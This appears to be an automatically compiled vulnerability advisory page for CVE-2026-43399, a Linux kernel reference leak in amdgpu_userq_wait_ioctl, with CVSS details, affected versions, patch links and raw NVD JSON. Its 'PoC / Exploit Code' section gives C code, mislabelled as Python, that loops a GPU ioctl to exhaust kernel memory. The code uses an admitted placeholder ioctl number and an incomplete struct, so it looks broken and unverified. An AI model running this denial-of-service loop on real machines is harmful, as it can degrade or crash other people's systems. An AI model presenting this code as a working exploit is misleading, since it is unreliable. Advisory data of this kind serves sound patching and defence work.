Security Vulnerability Report
中文
CVE-2026-43399 CVSS 5.5 MEDIUM

CVE-2026-43399

Published: 2026-05-08 15:16:51
Last Modified: 2026-05-21 19:28:13
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu/userq: Fix reference leak in amdgpu_userq_wait_ioctl Drop reference to syncobj and timeline fence when aborting the ioctl due output array being too small. (cherry picked from commit 68951e9c3e6bb22396bc42ef2359751c8315dd27)

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:* - VULNERABLE
Linux Kernel(修复补丁 49abfa812617, 5409247d41f3, 762f47e2b824 之前的版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * PoC for CVE-2026-43399 * Trigger reference leak in amdgpu_userq_wait_ioctl by providing * a small output buffer. */ #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <stdlib.h> #include <sys/ioctl.h> #include <string.h> // Define the IOCTL command number for amdgpu_userq_wait_ioctl // This value is illustrative and depends on the kernel header definitions #define DRM_IOCTL_AMDGPU_USERQ_WAIT 0x40 // Placeholder struct amdgpu_userq_wait_args { __u64 out_ptr; // Pointer to output array __u32 out_size; // Size of output array // ... other fields ... }; int main() { int fd = -1; // Attempt to open the AMD GPU device // Common paths: /dev/dri/renderD128, /dev/dri/card0 const char* device_paths[] = {"/dev/dri/renderD128", "/dev/dri/card0"}; for (int i = 0; i < 2; i++) { fd = open(device_paths[i], O_RDWR); if (fd >= 0) { printf("[+] Opened device: %s\n", device_paths[i]); break; } } if (fd < 0) { perror("[-] Failed to open device"); return 1; } struct amdgpu_userq_wait_args args; memset(&args, 0, sizeof(args)); // Allocate a small buffer to trigger the error path char small_buf[4]; args.out_ptr = (__u64)(unsigned long)small_buf; args.out_size = 4; // Intentionally too small printf("[*] Triggering vulnerability in a loop...\n"); // Loop to exhaust resources for(int i = 0; i < 10000; i++) { if (ioctl(fd, DRM_IOCTL_AMDGPU_USERQ_WAIT, &args) < 0) { // Expected to fail due to small buffer, but should clean up refs // Vulnerability: cleanup is missing here } if (i % 1000 == 0) printf("Iterations: %d\n", i); } close(fd); printf("[*] Done. Check kernel memory usage.\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-43399", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-08T15:16:51.327", "lastModified": "2026-05-21T19:28:12.860", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amdgpu/userq: Fix reference leak in amdgpu_userq_wait_ioctl\n\nDrop reference to syncobj and timeline fence when aborting the ioctl due\noutput array being too small.\n\n(cherry picked from commit 68951e9c3e6bb22396bc42ef2359751c8315dd27)"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-Other"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.16", "versionEndExcluding": "6.18.19", "matchCriteriaId": "F7766422-FDBE-437C-8710-C7F7094B8844"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.9", "matchCriteriaId": "E825E7C3-FEAC-4FD3-8A81-78D7387948C9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/49abfa812617a7f2d0132c70d23ac98b389c6ec1", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/5409247d41f372bec5b141ef599f2d9f5e81b746", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/762f47e2b824383d5be65eee2c40a1269b7d50c8", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}